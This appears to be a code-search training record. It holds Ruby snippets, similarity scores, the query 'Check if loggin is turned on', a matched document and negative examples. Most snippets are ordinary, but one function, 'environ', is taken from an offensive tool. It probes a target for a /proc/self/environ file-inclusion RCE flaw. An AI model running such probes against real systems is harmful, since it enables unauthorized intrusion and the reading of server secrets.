SQA_ORACLE_DB_READONLY_USER: ENV.fetch( 'SQA_ORACLE_DB_READONLY_USER', envfile_hash['SQA_ORACLE_DB_READONLY_USER'] ),\n SQA_ORACLE_DB_READONLY_PW: ENV.fetch( 'SQA_ORACLE_DB_READONLY_PW', envfile_hash['SQA_ORACLE_DB_READONLY_PW'] ),\n SQA_HJ_DB_SERVER: ENV.fetch( 'SQA_HJ_DB_SERVER', envfile_hash['SQA_HJ_DB_SERVER'] ),\n SQA_HJ_DB: ENV.fetch( 'SQA_HJ_DB', envfile_hash['SQA_HJ_DB'] ),\n SQA_HJ_DB_UPDATE_USER: ENV.fetch( 'SQA_HJ_DB_UPDATE_USER', envfile_hash['SQA_HJ_DB_UPDATE_USER'] ),\n SQA_HJ_DB_UPDATE_PW: ENV.fetch( 'SQA_HJ_DB_UPDATE_PW', envfile_hash['SQA_HJ_DB_UPDATE_PW'] ),\n SQA_HJ_DB_READONLY_USER: ENV.fetch( 'SQA_HJ_DB_READONLY_USER', envfile_hash['SQA_HJ_DB_READONLY_USER'] ),\n SQA_HJ_DB_READONLY_PW: ENV.fetch( 'SQA_HJ_DB_READONLY_PW', envfile_hash['SQA_HJ_DB_READONLY_PW'] ),\n SQA_RUDI_SERVER: ENV.fetch( 'SQA_RUDI_SERVER', envfile_hash['SQA_RUDI_SERVER'] ),\n SQA_RUDI_VERSION: ENV.fetch( 'SQA_RUDI_VERSION', envfile_hash['SQA_RUDI_VERSION'] ),\n SQA_UNIBLAB_SERVER: ENV.fetch( 'SQA_UNIBLAB_SERVER', envfile_hash['SQA_UNIBLAB_SERVER'] ),\n SQA_UNIBLAB_VERSION: ENV.fetch( 'SQA_UNIBLAB_VERSION', envfile_hash['SQA_UNIBLAB_VERSION'] ) ]\n end",
"def loadVest _args\n \"loadVest _args;\" \n end",
"def setenv(softworkdir,project,chipIsModem,apconnection)\n\t#puts \"burp\"\n # Setup some environement variables.\n $PROJNAME = project\n $SOFT_WORKDIR = softworkdir\n $TOOLPOOL = $SOFT_WORKDIR + \"/toolpool\" \n $PLUGINS_WORKDIR = $TOOLPOOL + \"/plugins\"\n $SCRIPT_WORKDIR = $TOOLPOOL + \"/scripts\"\n $SCRIPT_GENDIR = $SCRIPT_WORKDIR + \"/ChipStd\"\n $SCRIPT_PROJDIR = $SCRIPT_WORKDIR + \"/\" + $PROJNAME.split[0]\n $COMMON_PLUGINS_WORKDIR = \"./rbbase/common/plugins\"\n\n if(chipIsModem.strip.casecmp(\"yes\") == 0)\n $CHIP_IS_MODEM = true\n else\n $CHIP_IS_MODEM = false\n end\n\n if(apconnection.strip.casecmp(\"yes\") == 0)\n $APCONNECTION = true\n else\n $APCONNECTION = false\n end\n\n # Add the path the working dir where the script under development are stored. \n $LOAD_PATH.unshift(\"./rbbase/\")\n $LOAD_PATH.unshift($TOOLPOOL)\n $LOAD_PATH.unshift($PLUGINS_WORKDIR)\n $LOAD_PATH.unshift($COMMON_PLUGINS_WORKDIR)\n $LOAD_PATH.unshift($SCRIPT_WORKDIR) \n $LOAD_PATH.unshift($SCRIPT_GENDIR) \n $LOAD_PATH.unshift($SCRIPT_PROJDIR) \n\t#$LOAD_PATH.unshift($SCRIPT_WORKDIR + \"/common\")\nend",
"def arguments\n @arguments ||= Launchr::OrderedHash.new\n @arguments\n end",
"def initialize(**args)\n self.args = args\n self.args.freeze\n\n parse_arguments\n validate_arguments!\n\n end",
"def environ\n\t\tif @os.to_i == 0\n\t\t\tputs \"[\".light_red + \"X\".white + \"] Your target appears to be Winblows\".light_red + \"!\".white\n\t\t\tputs \"[\".light_red + \"X\".white + \"] This option is only available for *nix machines\".light_red + \"!\".white\n\t\telse\n\t\t\tputs \"[\".light_green + \"*\".white + \"] Testing for \".light_green + \"/proc/self/environ\".white + \" RCE Vuln\".light_green + \".....\".white\n\n\t\t\tfilez = [ \"proc/self/./environ\", \"proc/self/environ\" ]\n\n\t\t\t@ua=0\n\t\t\t@found=0\n\t\t\t@accept=0\n\t\t\twhile @found.to_i < 1\n\t\t\t\tfilez.each do |file|\n\t\t\t\t\tif $module_required['Min'].to_i == 0\n\t\t\t\t\t\t@thegoods=\"/#{file}\"\n\t\t\t\t\telse\n\t\t\t\t\t\t@thegoods=\"#{@stepstone}#{file}\"\n\t\t\t\t\tend\n\t\t\t\t\tbody = basicregex(@thegoods, 69)\n\t\t\t\t\t#Regex for /proc/self/environ file\n\t\t\t\t\tif body =~ /HTTP_USER_AGENT=/ or body =~ /HTTP_ACCEPT=/ or body =~ /DOCUMENT_ROOT=/ or body =~ /VHOST_ROOT=/ or body =~ /HTTP_HOST/\n\t\t\t\t\t\t@environ = 'true'\n\t\t\t\t\t\tif body =~ /HTTP_USER_AGENT=/\n\t\t\t\t\t\t\t@ua = 1\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif body =~ /HTTP_ACCEPT=/\n\t\t\t\t\t\t\t@accept = 1\n\t\t\t\t\t\tend\n\t\t\t\t\t\t#Successful injection will match our regex, failure won't (concat on exec proves its working)\n\t\t\t\t\t\tif body =~ /:#{@rnd}:(.+):#{@rnd}:/ \n\t\t\t\t\t\t\t@envirores = $1 #make results available\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@found = 1\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\t@environ = 'false'\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif @found.to_i == 0\n\t\t\t\t\t@found = 2 #break cause we are out of file options to test, will use value to offset from true success...\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif @environ == 'true'\n\t\t\t\tputs \"[\".light_green + \"*\".white + \"] File Found: \".light_green + \"/proc/self/environ\".white\n\t\t\t\tputs \"[\".light_green + \"*\".white + \"] User-Agent is present in response\".light_green + \"!\".white if @ua.to_i == 1\n\t\t\t\tputs \"[\".light_green + \"*\".white + \"] Accept Header is present in response\".light_green + \"!\".white if @accept.to_i == 1\n\t\t\t\tenvirosupport\n\t\t\telse\n\t\t\t\tputs \"[\".light_red + \"X\".white + \"] Sorry, \".light_red + \"/proc/self/environ\".white + \" doesn't appear to be available\".light_red + \".....\".white\n\t\t\t\tputs \"[\".light_red + \"X\".white + \"] Returning to Previous Menu\".light_red + \"...\".white\n\t\t\tend\n\t\tend\n\tend",
"def initialize(mode, argv = [])\n self.mode = mode\n \n # try to load the default configs\n Config.load_config(File.join(Dir.home, \".#{Config.app(mode)}\"))\n Config.load_config(File.join(Dir.pwd, \".#{Config.app(mode)}\"))\n self.config = Config.configure(mode, argv)\n self.reporter = Reporter.new(config)\n end",
"def initialize(options,args)\n @options = (options||{}).each{|k,v| {k => v} }\n @args = args\n GmailCli::Logger.set_log_mode(options[:verbose])\n end",
"def initialize(*args)\n @env, @argv, options = extract_process_spawn_arguments(*args)\n @options = options.dup\n @input = @options.delete(:input)\n @timeout = @options.delete(:timeout)\n @max = @options.delete(:max)\n if @options.delete(:pgroup_kill)\n @pgroup_kill = true\n @options[:pgroup] = true\n end\n @options.delete(:chdir) if @options[:chdir].nil?\n exec! if [email protected](:noexec)\n end",
"def initialize(args = {})\n @file = args[:file] if args[:file]\n @dictionary = args[:dictionary] if args[:dictionary]\n end",
"def initialize(args = {})\n parse_args(args)\n end",
"def initialize(args)\n @args = args\n\n raise(ArgumentError, \"Invalid action\") if self.action.nil?\n raise(ArgumentError, \":virtual_path must be defined\") if args[:virtual_path].blank?\n\n key = args[:virtual_path].to_sym\n\n @@all[key] ||= {}\n @@all[key][args[:name].to_s.parameterize] = self\n end",
"def initialize(args)\n args = defaults.merge(args)\n @chainring = args[:chainring]\n @cog = args[:cog] \n end",
"def console\n\t\t\tcla = as_class_name(@arguments.first)\tif @arguments.length == 1\n\t\t File.open(\"./tmp/irb-setup.rb\", 'w') do |f|\n\t\t f.puts \"# Initializes the environment for IRb.\"\n\t\t f.puts \"Experiment::Config::init #{@options.env.inspect}\"\n\t\t f.puts \"$: << '#{File.expand_path(\".\")}/'\"\n\t\t if @arguments.length == 1\n\t\t f.puts \"require 'experiments/#{@arguments.first}/#{@arguments.first}'\"\n\t\t f.puts \"def experiment\"\n \t\t f.puts \" @experiment ||= #{cla}.new :normal, #{@arguments.first.inspect}, OpenStruct.new(#{@options.marshal_dump})\"\n \t\t f.puts \"end\"\n \t\t f.puts \"experiment #load up the configs\"\n \t\t else\n \t\t f.puts 'Dir[\"./app/**/*.{rb,o,so,dll,bundle}\"].each{|e| require e.gsub(/\\.(rb|so|o|dll|bundle)$/, \"\") }'\n \t\t f.puts \"Experiment::Config::load '', #{options.opts.inspect}\"\n\t\t end\n\t\t \n\t\t end\n irb = RUBY_PLATFORM =~ /(:?mswin|mingw)/ ? 'irb.bat' : 'irb'\n libs = \" -r irb/completion\"\n libs << \" -r #{File.dirname(__FILE__) + \"/base\"}\"\n libs << \" -r./experiments/experiment\"\n libs << \" -r ./tmp/irb-setup.rb\"\n puts \"Loading #{@options.env} environment...\"\n exec \"#{irb} #{libs} --simple-prompt\"\n\t end",
"def initialize_exec_mode(*args)\n @image_name = args[0]\n @inside_command = args.last\n\n if @image_name.nil? || @inside_command.nil?\n puts 'Usage:'\n puts '$ docker-container-create imageName [args] \"command\"'\n exit 1\n end\n\n @other_args = args[1..-2]\n @other_args << '-it'\n end",
"def initialize(params = nil)\n @env = Hash.new\n unless params.nil?\n params.each_pair { |var, typ|\n @env[var] = {type: typ, fixed: true}\n }\n end\n end",
"def exec_cmd(*args)\n Kernel::exec({'PATH' => ENV['PATH'], 'LD_LIBRARY_PATH' => ENV['LD_LIBRARY_PATH'], 'GL_ID' => ENV['GL_ID']}, *args, unsetenv_others: true)\n end",
"def initialize(args = nil)\n # Need to initialize each variables else they won't exist in instance_variables.\n @directory = @filename = @author = @title = @date = @document_class = @language = @other_packages = nil\n\n # The default options\n set_options({\n :directory => Dir.getwd,\n :filename => 'main',\n :author => Condom.get_user_name,\n :title => 'Document \\LaTeX',\n :date => '\\today',\n :document_class => 'article',\n :language => 'francais',\n :other_packages => Array.new\n })\n\n if args.is_a? String\n @title = args\n elsif args.is_a? Hash\n set_options args\n end\n end"
] |
[
"0.6409939",
"0.622499",
"0.5995096",
"0.59832555",
"0.59724903",
"0.5769216",
"0.5743712",
"0.56701106",
"0.56411546",
"0.5571677",
"0.5568075",
"0.5561752",
"0.5553671",
"0.5551235",
"0.5539004",
"0.55260766",
"0.5518663",
"0.5518663",
"0.5518663",
"0.5502914",
"0.5495512",
"0.54946285",
"0.5491932",
"0.5481132",
"0.54439795",
"0.5443836",
"0.54435235",
"0.5416508",
"0.5404769",
"0.54020613",
"0.53941387",
"0.5392703",
"0.5380065",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53732854",
"0.53726804",
"0.536756",
"0.5364881",
"0.53601855",
"0.5359887",
"0.5352785",
"0.53527594",
"0.5349831",
"0.5328278",
"0.5323786",
"0.53201914",
"0.5313237",
"0.5291989",
"0.5287107",
"0.5275358",
"0.5273624",
"0.52659076",
"0.5259562",
"0.5252799",
"0.52413976",
"0.52189064",
"0.52149516",
"0.5206242",
"0.5203912",
"0.5203291",
"0.5203291",
"0.5202753",
"0.51918787",
"0.5185705",
"0.51685345",
"0.51657397",
"0.5160428",
"0.51569915",
"0.5152844",
"0.5152328",
"0.51438034",
"0.51432574",
"0.5140351",
"0.5138353",
"0.51349384",
"0.5133174",
"0.5131885",
"0.5122605",
"0.5120062",
"0.51191914"
] |
0.6656798
|
0
|
Check if loggin is turned on
|
def quiet?
@quiet
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def logged_in?\n\t\t!current_golfer.nil?\n\tend",
"def needs_login?() false end",
"def can_log_in?\n !disabled\n end",
"def logged_in?\n @logged_in == true\n end",
"def logged_in?\n @logged_in == true\n end",
"def check_if_login_required\n false\n end",
"def _is_login\n p session[:user]\n session[:user] ? true : false\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in ? true : false\n end",
"def logged_in?\n return false unless @auth_header\n true\n end",
"def logged_in?\n !!logged_user\n end",
"def logged_in?\n end",
"def logged_in?\n !!session[:logged_in]\n end",
"def logged_in?\n\t\t#if currentuser.nil returns true then logedin is false\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n !!current_ma_user\n end",
"def logged_in?\n # return true if Rails.env.development?\n !current_user.nil? && UTEPSSO.authenticated?(cookies[:UTEP_SE], cookies[:UTEP_SA])\n end",
"def logged_in?\n !session[Casual.session_key].nil?\n end",
"def logged_in?\n !current_ballonfahrer.nil?\n end",
"def logged_in?\n !session[:admin].nil?\n end",
"def logged_in?\n !@session_id.nil?\n end",
"def is_logged_in\n\t\tif self.controller_name == \"music_rating_services\" || self.controller_name == \"registrations\" || self.controller_name == \"sessions\"\n\t\t\treturn\n\t\telsif current_user == nil\n\t\t\tflash[:notice] = \"You must be logged in to access this feature.\"\n\t\t\tredirect_to root_path\n\t\telse\n\t\t\treturn\n\t\tend\n\tend",
"def logged_in?\n current_user != :false\n end",
"def logged_in?\n current_user != :false\n end",
"def is_logged_in\n #since these are also marked as helper methods, they are availalble in not just all ctronollers (cuz they inherit from appc ontroler) but also avialble to views\n\n (session[:user_id] && session[:user_id].present? ) ? true : false\n end",
"def loggedin?\n @session.nil? ? false : (return true)\n end",
"def is_login?\n !session[:user_id].nil?\n end",
"def logged_in?\n current_user != :false \n end",
"def logged?\n if !(user_signed_in? || admin_signed_in?)\n redirect_to new_user_session_url, notice:\"connect toi mec!\"\n end\n end",
"def logged?\n if !(user_signed_in? || admin_signed_in?)\n redirect_to new_user_session_url, notice:\"connect toi mec!\"\n end\n end",
"def logged?\n if !(user_signed_in? || admin_signed_in?)\n redirect_to new_user_session_url, notice:\"connect toi mec!\"\n end\n end",
"def logged?\n if !(user_signed_in? || admin_signed_in?)\n redirect_to new_user_session_url, notice:\"connect toi mec!\"\n end\n end",
"def is_user_logged_in?\n\tlogged_in = false\n\t if logged_in\n then true\n else\n redirect_to root_path\n end\n end",
"def logged_in\n current_user != nil\n end",
"def user_is_logged_in()\n user = get_user()\n if user != nil\n true\n else\n false\n end\n end",
"def logged_in?\r\n current_user != :false\r\n end",
"def is_logged_in?\n !session[:user_id].nil?\n end",
"def to_already_logged_in?\n return if already_logged_in?\n end",
"def logged_in?\n hubssolib_logged_in?\n end",
"def logged_in?\n !!logged_in_user \n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def auth?\n true\n end",
"def logged_in?\n !current_user.blank?\n end",
"def logged_in\n logged_in_user != nil\n end",
"def logged_in?\n\t session[:login] != nil\n\tend",
"def check_login\n unless logged_in?\n access_denied\n end\n end",
"def logged_in?\n if session[:int_key].nil? || session[:email].nil? || session[:password].nil? || session[:logged_in].nil?\n false\n else\n true\n end\n end",
"def is_logged_in?\n\t\t!session[:user_id].nil?\n\tend",
"def loged_in?\n !current_user.nil?\n end",
"def logged_in?\n return(logged_in_from_session? || logged_in_from_cookie?)\n end",
"def can_login?\n\t\t\t!disabled? && !locked?\n end",
"def auth?\n false\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def user_is_logged_in?\n !!session[:user_id]\n end",
"def logged_in\n\t \t!current_user.nil?\n\t end",
"def logged_in?\n\t\t!current_user.nil?\n \tend",
"def logged_in?\n session[:uid] != nil\n end",
"def logged_in?\n session[:uid] != nil\n end",
"def logged_in?\n #boolean return\t\n \tcurrent_user != nil\n end",
"def logged_in?\n\t\tif not current_user.present? then redirect_to \"/unauthorized\" and return false\n\t\tend\n\t\treturn true\n\tend",
"def guest_logged_in?\n user_logged_in? && (session[:uid] == (LDAP_CONFIG['guest_user']))\n end",
"def guest_logged_in?\n user_logged_in? && (session[:uid] == (LDAP_CONFIG['guest_user']))\n end",
"def is_logged_in?\n return true if current_user || current_admin\n end",
"def check_logged_in?\n if !logged_in?\n redirect_to root_path\n end\n end",
"def logged_in?\n current_<%= singular_name %> != :false\n end",
"def logged_in?\n !!current_chef\n end",
"def logged_in?\n !current_user.nil?\n end",
"def logged_in?\n !current_user.nil?\n end",
"def user_login?\n\t !!current_user\n\tend",
"def logged_in?\n !!session[:admin_id]\n end",
"def ever_logged_in?\n @data[:has_ever_logged_in]\n end",
"def logged_in?\n\t\t!current_account.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n current_user_id.to_i > 0\n end",
"def logged_in?\n current_account != :false && current_account.active?\n end",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend"
] |
[
"0.73755324",
"0.72191656",
"0.7211906",
"0.71920496",
"0.71920496",
"0.7148021",
"0.71307874",
"0.71083856",
"0.71083856",
"0.71083856",
"0.71083856",
"0.70895386",
"0.7044413",
"0.7030577",
"0.69805634",
"0.6959179",
"0.69563204",
"0.6940309",
"0.6932368",
"0.69301915",
"0.6919335",
"0.68967175",
"0.6894554",
"0.68857396",
"0.6868373",
"0.6868373",
"0.68591845",
"0.68549824",
"0.6853849",
"0.6853723",
"0.6852126",
"0.6851982",
"0.6851982",
"0.6851982",
"0.6848202",
"0.68471897",
"0.684461",
"0.6843011",
"0.68302256",
"0.68292385",
"0.6827808",
"0.68194383",
"0.6818866",
"0.6818866",
"0.6813562",
"0.6801619",
"0.67987096",
"0.6798221",
"0.67967343",
"0.679463",
"0.6786658",
"0.6784959",
"0.6777404",
"0.6761899",
"0.67607313",
"0.67595595",
"0.67595595",
"0.67595595",
"0.67595595",
"0.6759494",
"0.67550504",
"0.6753485",
"0.67516065",
"0.67516065",
"0.6751316",
"0.6743191",
"0.67414236",
"0.67414236",
"0.6739769",
"0.67394024",
"0.67386836",
"0.6724932",
"0.67183834",
"0.67183834",
"0.67161727",
"0.6714236",
"0.67118007",
"0.67114013",
"0.67111236",
"0.6710973",
"0.67109513",
"0.6710862",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996",
"0.670996"
] |
0.0
|
-1
|
Returns list of plugged dbs
|
def dbs
@dbs_hash.keys
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def list_dbs(db=nil)\n db &&= db.gsub(/[\\\\\\']/){\"\\\\#{$&}\"}\n query(db ? \"show databases like '#{db}'\" : \"show databases\").map(&:first)\n end",
"def databases\n get '_all_dbs'\n end",
"def printGetSupportedDBs()\n printDebugMessage('printGetSupportedDBs', 'Begin', 1)\n dbInfoList = getDatabaseInfoList()\n dbInfoList.each{ |dbInfo|\n puts dbInfo.elements['name'].text\n }\n printDebugMessage('printGetSupportedDBs', 'End', 1)\n end",
"def databases\n database_names.map { |name| database(name) }\n end",
"def databases\n arrayCommand( \"show db\", DictItemArray, RESPONSE_DATABASES_FOLLOW, RESPONSE_NO_DATABASES )\n end",
"def databases\n arrayCommand( \"show db\", DictItemArray, RESPONSE_DATABASES_FOLLOW, RESPONSE_NO_DATABASES )\n end",
"def get_all_databases\n databases = ::MySQL::Database.find_all\n names = []\n databases.each do |database|\n names << database.name\n end\n names\n end",
"def all_database_names\n @specs_store.names\n end",
"def database_names\n database_info.keys\n end",
"def database_names\n database_info.keys\n end",
"def get_available_databases # :nodoc:\n search({query: 'supercalifragilisticexpialidocious-supercalifragilisticexpialidocious',\n results_per_page: 1,\n mode: 'all',\n include_facets: false}).database_stats\n end",
"def glue_databases(client)\n databases = []\n client.get_databases.each do |resp|\n resp.database_list.each do |db|\n databases << db.name\n end\n end\n databases\n end",
"def databases\n CouchRest.get \"#{@uri}/_all_dbs\"\n end",
"def get_available_database_ids\n get_available_databases.map{|item| item[:id]}\n end",
"def list_databases(filter = {}, name_only = false, opts = {})\n cmd = { listDatabases: 1 }\n cmd[:nameOnly] = !!name_only\n cmd[:filter] = filter unless filter.empty?\n cmd[:authorizedDatabases] = true if opts[:authorized_databases]\n use(Database::ADMIN).database.read_command(cmd, opts).first[Database::DATABASES]\n end",
"def list_databases\n response = @connection.dbreq(\"GET\", @lbmgmthost, \"#{@lbmgmtpath}/instances/#{CloudDB.escape(@id.to_s)}/databases\",@lbmgmtport,@lbmgmtscheme)\n CloudDB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n CloudDB.symbolize_keys(JSON.parse(response.body)[\"databases\"])\n end",
"def all_dbs\n @conn.query({url_path: \"_all_dbs\", method: :get})\n end",
"def database_names(filter = {}, opts = {})\n list_databases(filter, true, opts).collect{ |info| info['name'] }\n end",
"def database_names\n connection.database_names.reject { |name| name == \"admin\" }\n end",
"def list_mongo_databases(filter = {}, opts = {})\n database_names(filter, opts).collect do |name|\n Database.new(self, name, options)\n end\n end",
"def getDatabaseInfoList()\n printDebugMessage('getDatabaseInfoList', 'Begin', 11)\n if @dbInfoList == nil\n @dbInfoList = restGetMetaInformation()\n end\n printDebugMessage('getDatabaseInfoList', 'End', 11)\n return @dbInfoList\n end",
"def database_names( con )\n # MongoHQ does not let u sniff out the connection in this case return single db if any\n if @info['db_name']\n [ @info['db_name'] ]\n else\n excludes = %w[admin local slave]\n con.database_names - excludes\n end\n end",
"def get_dbs\n if @target_config['DBS'].empty?\n if @target_config['VERSION'].scan(/./)[0].to_i < 5 and not @target_config['VERSION'].nil?\n # MySQL < 5\n print_error(\"DB Version: #{@target_config['VERSION']}\")\n print_error(\"There is no information_schema to query.....\")\n print_error(\"Unable to enumerate databases for MySQL < 5\")\n elsif @target_config['VERSION'].scan(/./)[0].to_i >= 5 or @target_config['VERSION'].nil?\n # MySQL >= 5\n results = error_basic_inject('select count(schema_name) from information_schema.schemata')\n if results.nil?\n results = error_basic_inject('select count(distinct(db)) from mysql.db')\n dbs_count = 0 unless not results.nil?\n print_error(\"Unable to get database count, flying a bit blind!\") unless not results.nil?\n dbs_count = results unless results.nil?\n print_status(\"Requesting #{dbs_count} Databases Names....\") unless results.nil?\n else\n dbs_count = results\n print_status(\"Requesting #{dbs_count} Databases Names....\")\n end\n dbz=[]\n count = 0\n while not results.nil?\n results = error_basic_inject(\"select schema_name from information_schema.schemata limit #{count},1\")\n pad = ' ' * (results.size + 25) unless results.nil? or results == ''\n pad = ' ' * 50 if results.nil? or results == ''\n print \"\\r(#{count})> #{results}#{pad}\".cyan unless results == ''\n dbz << results unless results == ''\n count = count.to_i + 1\n end\n print_line(\"\")\n if dbz.empty?\n print_line(\"\")\n print_error(\"Unable to get any database names!\")\n print_error(\"Lack of privileges?\")\n print_status(\"Possible Solutions include:\")\n print_caution(\"A) Become HR's best friend by updating the code and sending him a copy\")\n print_caution(\"B) Tweak Settings and try things again\")\n print_caution(\"C) Be a bawz and do it manually\")\n print_line(\"\")\n else\t\n @target_config['DBS'] = dbz\n print_good(\"DBS: #{dbz.join(', ').sub(/, $/, '')}\")\n end\n end\n else\n print_good(\"DBS: #{@target_config['DBS'].join(', ').sub(/,$/, '')}\")\n end\n end",
"def getDefaultDatabases\n if !$remoteDatabasesLoaded\n info \"Loading remote databases...\"\n\n $remoteDatabases = []\n\n failures = false\n\n if !loadDatabase \"boostslair\",\n \"https://boostslair.com/rubysetupsystem/database.json\",\n File.expand_path('rubysetupsystem.cert', __dir__)\n failures = true\n end\n\n if failures\n warning \"One or more databases failed to download.\"\n warning \"Precompiled and other features may be unavailable.\"\n end\n\n $remoteDatabasesLoaded = true\n info \"#{$remoteDatabases.length} remote databases loaded\"\n end\n\n $remoteDatabases\nend",
"def databases\n unless defined?(@databases)\n # only use mutex on initialization\n MUTEX.synchronize do\n # return if another process initialized while we were waiting\n return @databases if defined?(@databases)\n\n @databases = config[\"databases\"].map { |id, c| [id.to_sym, Database.new(id, c)] }.to_h\n end\n end\n\n @databases\n end",
"def databases_list(options = {})\n if block_given?\n Pagination::Cursor.new(self, :databases_list, options).each do |page|\n yield page\n end\n else\n get('databases', options)\n end\n end",
"def get_dbs\n if @target_config['VERSION'].scan(/./)[0].to_i < 5 and not @target_config['VERSION'].nil?\n # MySQL < 5\n print_error(\"DB Version: #{@target_config['VERSION']}\")\n print_error(\"There is no information_schema to query.....\")\n print_error(\"Unable to enumerate databases for MySQL < 5\")\n elsif @target_config['VERSION'].scan(/./)[0].to_i >= 5 or @target_config['VERSION'].nil?\n # MySQL v5+\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, 'select count(schema_name) from information_schema.schemata')\n if results.nil?\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, 'select count(distinct(db)) from mysql.db') #This usually needs privs, but maybe in some case if info schema is blocked\n dbs_count=0 unless not results.nil?\n print_error(\"Unable to get database count, flying a bit blind!\") unless not results.nil?\n dbs_count=results unless results.nil?\n print_status(\"Requesting #{dbs_count} Databases Names....\") unless results.nil?\n else\n dbs_count=results\n print_status(\"Requesting #{dbs_count} Databases Names....\")\n end\n dbz=[]\n count=0\n while not results.nil?\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, \"select schema_name from information_schema.schemata limit #{count},1\")\n pad = ' ' * (results.size + 10) unless results == '' or results.nil?\n pad = ' ' * 50 if results.nil?\n print \"\\r(#{count})> #{results}#{pad}\".cyan unless results == ''\n dbz << results unless results == ''\n count = count.to_i + 1\n end\n print_line(\"\")\n if dbz.empty?\n print_line(\"\")\n print_error(\"Unable to get any database names!\")\n print_error(\"Lack of privileges?\")\n print_status(\"Possible Solutions include:\")\n print_caution(\"A) Become HR's best friend by updating the code and sending him a copy\")\n print_caution(\"B) Tweak Settings and try things again\")\n print_caution(\"C) Be a bawz and do it manually\")\n print_line(\"\")\n else\t\n @target_config['DBS'] += dbz\n @target_config['DBS'].uniq! unless @target_config['DBS'].nil? or @target_config['DBS'].size == 0\n print_good(\"DBS: #{dbz.join(', ').sub(/, $/, '')}\") unless dbz.nil? or dbz.size == 0\n print_good(\"DBS: #{@target_config['DBS'].join(', ').sub(/, $/, '')}\") if dbz.nil? or dbz.size == 0 and not @target_config['DBS'].nil?\n end\n end\n end",
"def databases\n JSON.parse(RestClient.get(File.join(self.uri, \"_all_dbs\"))).collect do |database_name|\n Database.new(:name => database_name)\n end\n end",
"def cloud_databases\n content[\"servers\"].map do |server, settings|\n settings[\"databases\"]\n end.flatten.uniq\n end",
"def database_info(*names)\n names = names.map(&:to_s)\n info = native.list_databases\n info = info.select { |e| names.include?(e[:name]) } unless names.empty?\n names.size == 1 ? info.first : info\n end",
"def printGetSupportedDBs()\n printDebugMessage('printGetSupportedDBs', 'Begin', 1)\n paramsList = soapGetSupportedDBs()\n paramsList.each { |param|\n puts param\n }\n printDebugMessage('printGetSupportedDBs', 'End', 1)\n end",
"def get_local_customer_databases(options)\n conn = PG.connect(options)\n all_customer_databases = []\n conn.exec(@@db_suite_query).each { |row|\n database = {}\n database[:server_name] = row['server_name']\n database[:db_name] = row['db_name']\n\n all_customer_databases.push(database)\n }\n conn.close\n\n local_customer_databases = all_customer_databases.select { |database|\n is_local_server?(database[:server_name])\n }\n local_customer_databases\n end",
"def all_dbs\n request.method = :get\n request.uri = '_all_dbs'\n Couchdbtools.execute(request)\n end",
"def find_db\n log_debug\n file_name = 'com.plexapp.plugins.library.db'\n # for dev it looks in current directory first\n # can add locations as we find them. only the first match is used\n paths = [ '.',\n '/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Plug-in Support/Databases',\n \"#{ENV['HOME']}/Library/Application Support/Plex Media Server/Plug-in Support/Databases\"\n ]\n db = ''\n \n paths.each do |path|\n if File.directory? path\n if File.exists? \"#{path}/#{file_name}\"\n # first match is used\n if db == ''\n db = \"#{path}/#{file_name}\"\n end\n end\n end\n end\n \n if db !~ /\\w/\n puts \"error : could not find db file \\\"#{file_name}\\\" \"\n exit 2\n end\n \n log_debug \"find_db using \\\"#{db}\\\"\"\n return db\n end",
"def list_addons\n Dir.glob(\"/var/lib/apollo/addons/*.gem\")\n end",
